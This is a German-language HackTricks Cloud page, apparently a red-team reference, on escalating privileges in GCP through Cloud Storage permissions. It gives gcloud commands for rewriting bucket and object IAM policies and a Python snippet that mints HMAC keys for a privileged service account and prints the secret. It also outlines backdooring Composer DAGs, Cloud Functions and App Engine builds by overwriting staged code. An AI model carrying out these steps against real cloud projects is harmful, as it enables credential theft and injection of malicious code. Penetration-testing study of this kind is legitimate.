GCP - Storage Privesc
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Storage
Grundlegende Informationen:
storage.objects.get
Diese Berechtigung erlaubt es dir, Dateien aus Cloud Storage herunterzuladen. Das kann dir potenziell ermöglichen, Privilegien zu eskalieren, da in manchen Fällen sensible Informationen dort gespeichert sind. Außerdem speichern einige GCP-Services ihre Informationen in Buckets:
- GCP Composer: Wenn du eine Composer Environment erstellst, wird der Code aller DAGs in einem Bucket gespeichert. Diese Tasks könnten interessante Informationen in ihrem Code enthalten.
- GCR (Container Registry): Das Image der Container wird in Buckets gespeichert, was bedeutet, dass du, wenn du die Buckets lesen kannst, die Images herunterladen und nach leaks und/oder Quellcode durchsuchen kannst.
storage.objects.setIamPolicy
Damit kannst du dir die Berechtigung geben, jedes der vorherigen Szenarien in diesem Abschnitt auszunutzen.
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
storage.buckets.setIamPolicy
Für ein Beispiel, wie man Berechtigungen mit dieser Berechtigung ändert, siehe diese Seite:
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
GCP - Public Buckets Privilege Escalation
storage.hmacKeys.create
Die “interoperability”-Funktion von Cloud Storage, konzipiert für cross-cloud interactions wie mit AWS S3, ermöglicht die Erstellung von HMAC keys für Service Accounts und users. Ein Angreifer kann dies ausnutzen, indem er einen HMAC key für ein Service Account mit erhöhten Rechten generiert, wodurch er Privilegien innerhalb von Cloud Storage eskalieren kann. Während bei user-assoziierten HMAC keys diese nur über die web console abrufbar sind, bleiben sowohl die access und secret keys dauerhaft zugänglich, was das Speichern von Backup-Zugangsdaten ermöglicht. Dagegen sind Service Account-gebundene HMAC keys API-accessible, aber deren access und secret keys sind nach der Erstellung nicht mehr abrufbar, was die dauerhafte Nutzung erschwert.
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')
# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a
# Use it
gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
Ein weiteres Exploit-Skript für diese Methode kann gefunden werden hier.
storage.objects.create, storage.objects.delete = Storage Schreibberechtigungen
Um ein neues Objekt zu erstellen innerhalb eines Buckets benötigt man storage.objects.create und, laut the docs, benötigt man außerdem storage.objects.delete, um ein bestehendes Objekt zu modifizieren.
Eine sehr häufige Ausnutzung von Buckets, in die man in der Cloud schreiben kann, ist der Fall, dass der Bucket Webserver-Dateien speichert — man könnte dann neuen Code ablegen, der von der Webanwendung verwendet wird.
Composer
Composer ist Apache Airflow, das innerhalb von GCP verwaltet wird. Es hat mehrere interessante Eigenschaften:
- Es läuft innerhalb eines GKE cluster, daher ist das vom Cluster verwendete SA für den Code, der in Composer läuft, zugänglich.
- Alle Komponenten einer Composer-Umgebung (Code der DAGs, Plugins und Daten) werden in einem GCP-Bucket gespeichert. Wenn ein Angreifer Lese- und Schreibrechte darauf hat, kann er den Bucket überwachen und immer wenn ein DAG erstellt oder aktualisiert wird, eine backdoored Version einreichen, sodass die Composer-Umgebung die backdoored Version aus dem Storage erhält.
Einen PoC dieses Angriffs findest du im Repo: https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs
Cloud Functions
- Der Code von Cloud Functions wird in Storage gespeichert und wann immer eine neue Version erstellt wird, wird der Code in den Bucket gepusht und anschließend der neue Container aus diesem Code gebaut. Daher ist es möglich, durch Überschreiben des Codes bevor die neue Version gebaut wird, die Cloud Function beliebigen Code ausführen zu lassen.
Einen PoC dieses Angriffs findest du im Repo: https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions
App Engine
AppEngine-Versionen erzeugen Daten in einem Bucket mit dem Format: staging.<project-id>.appspot.com. In diesem Bucket findet man einen Ordner namens ae, der einen Ordner pro AppEngine-Version enthält; in diesen Ordnern findet sich die manifest.json. Diese Datei enthält ein json mit allen Dateien, die verwendet werden müssen, um die spezifische Version zu erstellen. Außerdem kann man die echten Dateinamen, die URL zu ihnen innerhalb des GCP-Buckets (die Dateien im Bucket wurden nach ihrem sha1 hash umbenannt) und den sha1 hash jeder Datei finden.
Note that it’s not possible to pre-takeover this bucket because GCP users aren’t authorized to generate buckets using the domain name appspot.com.
Mit Lese- und Schreibzugriff auf diesen Bucket ist es jedoch möglich, Privilegien auf das an die App Engine-Version gebundene SA zu eskalieren, indem man den Bucket überwacht und bei jeder Änderung (neue Version) die neue Version so schnell wie möglich verändert. Auf diese Weise wird der Container, der aus diesem Code erstellt wird, den backdoored Code ausführen.
Der erwähnte Angriff kann auf viele unterschiedliche Weisen ausgeführt werden; alle beginnen mit der Überwachung des Buckets staging.<project-id>.appspot.com:
- Lade den kompletten neuen Code der AppEngine-Version in einen anderen verfügbaren Bucket hoch und erstelle eine
manifest.json-Datei mit dem neuen Bucketnamen und den sha1-Hashes der Dateien. Wenn dann eine neue Version im Bucket erstellt wird, musst du nur diemanifest.json-Datei ändern und die bösartige hochladen. - Lade eine modifizierte
requirements.txt-Version hoch, die den malicious dependencies code verwendet, und aktualisiere diemanifest.json-Datei mit dem neuen Dateinamen, der URL und dem Hash. - Lade eine modifizierte
main.py- oderapp.yaml-Datei hoch, die den malicious code ausführt, und aktualisiere diemanifest.json-Datei mit dem neuen Dateinamen, der URL und dem Hash.
Einen PoC dieses Angriffs findest du im Repo: https://github.com/carlospolop/Monitor-Backdoor-AppEngine
GCR
- Google Container Registry speichert die Images in Buckets. Wenn du in diese Buckets schreiben kannst, könntest du möglicherweise move laterally to where those buckets are being run.
- Der von GCR verwendete Bucket hat eine URL ähnlich
gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com(Die Top-Level-Subdomains sind hier angegeben).
Tip
Dieser Dienst ist veraltet, daher ist dieser Angriff nicht mehr nützlich. Außerdem speichert Artifact Registry, der Dienst, der diesen ersetzt, die Images nicht in Buckets.
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

